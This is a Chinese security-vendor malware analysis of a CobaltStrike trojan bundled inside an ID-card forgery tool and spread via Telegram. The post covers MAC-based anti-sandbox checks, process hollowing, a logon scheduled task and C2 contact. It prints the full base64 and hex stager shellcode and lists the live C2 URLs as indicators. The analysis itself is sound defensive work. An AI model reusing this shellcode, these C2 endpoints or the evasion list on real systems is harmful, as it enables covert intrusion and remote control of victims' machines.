【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

一、概述

近期HVV行动,天穹沙箱分析人员持续关注沙箱样本的投递情况。在近几日的监测中,发现一个钓鱼样本被大量用户重复投递,这一高频率出现的样本岂能逃过分析人员的火眼金睛?本次分享,就和大家一起一层一层地剥开它的心。样本名为“身份证正反生成.zip”,从名称来看,这是一个灰黑产相关的软件,初步判断它是典型的HVV样本。对压缩包解压处理,得到一个命名为身份证正反生成.exe的可疑执行文件,以及一个包含大量.pyd文件的 _internal 目录。初看解压后的内容,文件后缀名和目录格式这些特征极易误导分析人员认为这是一个PyInstaller打包的木马程序。但随着深入分析,我们发现它实际是一个CobaltStrike 木马,该样本同时具有反沙箱特征,成功规避了多家友商沙箱检测,这也激起了我们的好奇心,决定一探究竟。

二、样本基本信息

样本的基本信息如下:

  • SHA1:52BCF74F480F83592E456F54B1EFE25F45E9C05E

  • 文 件 名:身份证正反生成.zip

  • 文件类型:ZIP

  • 样本家族:CobaltStrike

  • 文件大小:74.6 MB

三、样本分析

1、 压缩包分析

打开分析报告,报告顶部列出了该压缩包样本的关键分析文件,点击即可查看子分析报告。在完全解压列表部分展示了样本包含的全部内容,如图1所示,状态列标注了文件分析结果,可以看到沙箱挑选了身份证正反生成.exe和几个bat脚本进行分析,自动筛选机制将挑选更具可疑性和分析价值的文件进行动态分析,极大提升了分析速度:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图1 完全解压列表

样本解压后的目录树结构如下,已隐藏部分目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
身份证正反生成
└─_身份证正反生成.exe
_internal
├─asserts
│ └─fonts
├─cv2
├─idcard_generator
├─numpy
├─PIL
├─tcl
│ ├─encoding
│ ├─http1.0
│ ├─msgs
│ ├─opt0.4
│ └─tzdata
├─tcl8
│ ├─8.4
│ │ └─platform
│ ├─8.5
│ └─8.6
└─tk
├─images
├─msgs
└─ttk

2、动态行为分析

2.1、反沙箱

点击顶部的身份证正反生成.exe打开该文件的分析报告,也可点击完全解压列表中身份证正反生成.exe一行的查看报告跳转到该文件的分析报告。在动态行为类目中注意到样本执行了查询网卡信息的操作,如图2所示,这是一条非常普通的行为,不少友商沙箱在捕获该行为后就结束了,没有任何后续行为,如图3、4所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图2 查询网卡信息

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图3 某友商检测到查询网卡信息行为,但没有任何后续行为

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图4 另一友商检测到查询网卡信息行为,但没有任何后续行为

分析样本发现,样本通过调用GetAdaptersAddresses函数获取MAC地址,以此检测运行环境是否是虚拟机,如图5所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图5 获取MAC地址

随后检查是否存在虚拟网络适配器(VMnet),并判断MAC地址中是否包含常见虚拟机MAC地址前缀,一旦匹配成功直接退出执行,如图6所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图6 检测MAC地址反虚拟机和反沙箱

样本检查的MAC前缀如下:

  • 00-05-69Parallels Desktop

  • 00-0c-29VMware Workstation, VMware Fusion, VMware ESXi, VMware Player

  • 00-50-56VMware Workstation, VMware Fusion, VMware ESXi, VMware Player

  • 00-03-ffMicrosoft Hyper-V, Virtual Server, Virtual PC

  • 08-00-27Sun xVM VirtualBox

  • 52-54-00QEMU/KVM

该样本的反沙箱手段并不高明,但仅凭检测MAC地址这一项探测行为,就成功绕过了不少沙箱。这里我们也投递了一个测试程序用于获取运行环境的MAC地址,发现上述两个友商环境的MAC地址均可匹配MAC前缀检测列表,如图7、8所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图7 友商一MAC地址

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图8 友商二MAC地址

2.2、傀儡进程

进一步分析发现,样本创建傀儡进程注入了wlanext.exe,可以在报告中清晰地看到样本注入Payload的完整过程,如图9所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图9 创建傀儡进程

报告展示内容较多,这里我们问问TQGPT,让它帮我们总结一下该样本如何实现傀儡进程,如图10所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图10 该样本如何实现傀儡进程

通过IDA分析,可以看到该样本使用常规手法创建傀儡进程,完整反编译代码较长,这里仅展示关键部分,如图11、12、13所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图11 创建傀儡进程代码1

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图12 创建傀儡进程代码2

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图13 创建傀儡进程代码3

2.3、计划任务

继续分析,傀儡进程释放了名为wlanext.exe的可执行文件到下载目录,并创建一个名为MicrosoftWLanext的计划任务,其内容为执行 c:WindowsSystem32TasksMicrosoftWLanext,如图14所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图14 释放PE并创建计划任务

我们将之前傀儡进程注入的Payload给dump下来,使用IDA分析可以验证此过程,如图15、16所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图15 释放可执行文件到下载目录

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图16 创建计划任务

该样本设置计划任务详细信息如下:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

这表明该计划任务的触发时机为用户登录时,当用户登录时将以最高权限运行程序C:UsersPublicDownloadswlanext.exe

2.4、Shellcode下载与执行

依赖于天穹沙箱的自动执行计划任务功能,在检测到创建了新的计划任务后,沙箱立即执行MicrosoftWLanext计划任务,因此C:UsersPublicDownloadswlanext.exe被成功执行,报告显示其访问了C2地址:21hjgt71f[.]sharedomain.top:2086,解析后的IP地址为:172.67.216.86:2086,如图17所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图17 访问C2地址

由于该C2地址在国内无法访问,后续行为无法进一步触发,我们借助IDA分析其后续行为。分析结果表明,样本在与以上C2建立TCP连接后,发起GET http://21hjgt71f.sharedomain.top:2086/config.txt下载Payload,如图18所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图18 访问C2地址并下载Payload

此处,我们手动下载config.txt,其内容如下:

1
/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaPsgAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L2FwaS8xADgDVxkbHyPy9E2vIW6AcVBBNEgtszNOD2FZMyCd2bKsn8LuilL0tL1rdBONoY6gGOBC0LtxtUqkSRdIiIvnb0FDMnJhcLZpCABIb3N0OiAyMWhqZ3Q3MWYuc2hhcmVkb21haW4udG9wDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMCkNCgC/WBPCcXCfhzpOP+onL768/C1rjsrOXFCUiqQfsLvSHEVg7fqGvz23l/zTfzlUAiQL8o+48jX0F/Bs7mAhsfKYNTUP+AaYznRPxkujDt0oe9oO7RoT/i4E4BSqN7S1vkL6dx68nv4gC2tdcAfMQxMvZYusbXt859HCBhhwzycn1i1jVXW2i2j6fFgOeKp2XF+yZZ4qKQAWpAYfeI/F+CZLRpYaBgoGmOw2nSzhRmt3ojs2rzWIoQV9LqK/y6gD5e8AaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zIxaGpndDcxZi5zaGFyZWRvbWFpbi50b3AAAAGGoA==

这是一段Base64编码的Payload,解码后以16进制查看,其头部FC E8是典型的x86 Shellcode Stager特征,显然是一个CobaltStrike的Stager:

1
fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd5e80000000031ff5757575757683a5679a7ffd5e9a40000005b31c951516a03515168fb20000053506857899fc6ffd550e98c0000005b31d252680032c08452525253525068eb552e3bffd589c683c350688033000089e06a04506a1f566875469e86ffd55f31ff57576aff5356682d06187bffd585c00f84ca01000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c775075850e97bffffff31ffe991010000e9c9010000e86fffffff2f6170692f3100380357191b1f23f2f44daf216e8071504134482db3334e0f615933209dd9b2ac9fc2ee8a52f4b4bd6b74138da18ea018e042d0bb71b54aa4491748888be76f414332726170b6690800486f73743a203231686a67743731662e7368617265646f6d61696e2e746f700d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d53494520392e303b2057696e646f7773204e5420362e303b2054726964656e742f352e30290d0a00bf5813c271709f873a4e3fea272fbebcfc2d6b8ecace5c50948aa41fb0bbd21c4560edfa86bf3db797fcd37f395402240bf28fb8f235f417f06cee6021b1f29835350ff80698ce744fc64ba30edd287bda0eed1a13fe2e04e014aa37b4b5be42fa771ebc9efe200b6b5d7007cc43132f658bac6d7b7ce7d1c2061870cf2727d62d635575b68b68fa7c580e78aa765c5fb2659e2a290016a4061f788fc5f8264b46961a060a0698ec369d2ce1466b77a23b36af3588a1057d2ea2bfcba803e5ef0068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e889fdffff3231686a67743731662e7368617265646f6d61696e2e746f7000000186a0

进一步分析,我们拿到了Stager下载的Beacon,如图19所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图19 加密后的Beacon

我们将Beacon投入天穹沙箱,成功运行并提取到了威胁配置信息,如图20所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图20 威胁配置信息

天穹沙箱支持Shellcode自动分析,检测到Shellcode时会自动加载并分析,因此在动态行为中可以看到其连接CobaltStrike C2的行为,如图21所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图21 连接CobaltStrike C2

2.5、后续行为

以上分析表明,样本并不是PyInstaller样本,但却携带了一个与PyInstaller相关的目录,那么这个目录的作用到底是什么呢?我们回到身份证正反生成.exe文件,继续分析后续行为。

查看报告发现,样本释放了同名可执行文件到TEMP目录,并将其启动, 如图22、23所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图22 释放同名可执行文件到TEMP目录

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图23 执行TEMP目录下的同名文件

使用IDA进行验证,样本将_internal目录拷贝值为%TEMP%的目录,同时解密自身数据并写入到%TEMP%/身份证正反生成.exe,之后运行临时目录下的身份证正反生成.exe,如图24所示:

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图24 拷贝并执行落地文件

使用分析工具查看,释放的同名可执行文件为PyInstaller打包文件,如图25所示,_internal目录为其依赖。

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图25 落地文件信息

样本将释放的同名可执行文件启动后,的确是一个用于生成身份证正反面的程序,桌面弹出了生成身份证照片的窗口,如图26所示,该窗体使用GUI框架TK库编写,还能看到Telegram机器人:@ekvv0s_bot

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图26 程序运行窗体

通过VNC交互验证软件功能,选择一张测试证件照,点击生成,确实能够生成身份证正反面照片,且拟真度较高,如图27所示,这显然是一个黑产软件。

【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

图27 生成身份证正反面照片

据此分析,该木马可以被判定为一种伪装成灰黑产的恶意软件,它巧妙地利用Telegram平台进行传播。该样本极有可能是将自身捆绑到原灰黑产软件之中,借免费使用等幌子在Telegram上广泛散布,诱骗用户点击执行。一旦恶意操作得逞,该样本会巧妙地将原始软件释放至系统的临时文件夹(TEMP目录)并执行,以确保用户在日常使用中不易察觉,从而实现了对受害者设备的隐蔽感染。

四、IOC

恶意文件(SHA1)

1
2
3
4
5
6
7
8
52BCF74F480F83592E456F54B1EFE25F45E9C05E      身份证身份证正反生成.zip
C249B9307E68A9A0C1D5C2D4CDF24C14B9CD9CA8 身份证身份证正反生成.exe(原始)
E700DA751C84F694F774E86006C7414E2E8B09B1 身份证身份证正反生成.exe(释放到临时目录)
FB522ACD43DE0B84BEFA7F1DEFF7FD19E17225D1 wlanext.exe(释放到下载目录)
985D9DFDB42ACCAB741C9CA1E7ED929BA4FB2B01 傀儡进程注入Payload
A889173A7FB2F4C792A85FD1A460E573AF087AFE config.txt
B70524219226703FAF27119954F90C88600215CE CobaltStrike Stager
3AD9A73B79FDC5F08CEB11663FB4EEB42B97EE98 CobaltStrike Beacon

恶意链接

1
2
3
http[:]//21hjgt71f.sharedomain.top:2086/config.txt      config.txt下载链接
https[:]//21hjgt71f.sharedomain.top:8443/api/1 CobaltStrike Stager C2
https[:]//21hjgt71f.sharedomain.top:8443/api/3 CobaltStrike Beacon C2

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。


我们目前正在招聘,工作地点覆盖北京、上海、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

原文始发于微信公众号(奇安信技术研究院):【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马

版权声明:admin 发表于 2024年7月26日 下午6:24。
转载请注明:【天穹】HVV专题:火眼金睛-伪装为灰黑产软件的反沙箱木马 | CTF导航

相关文章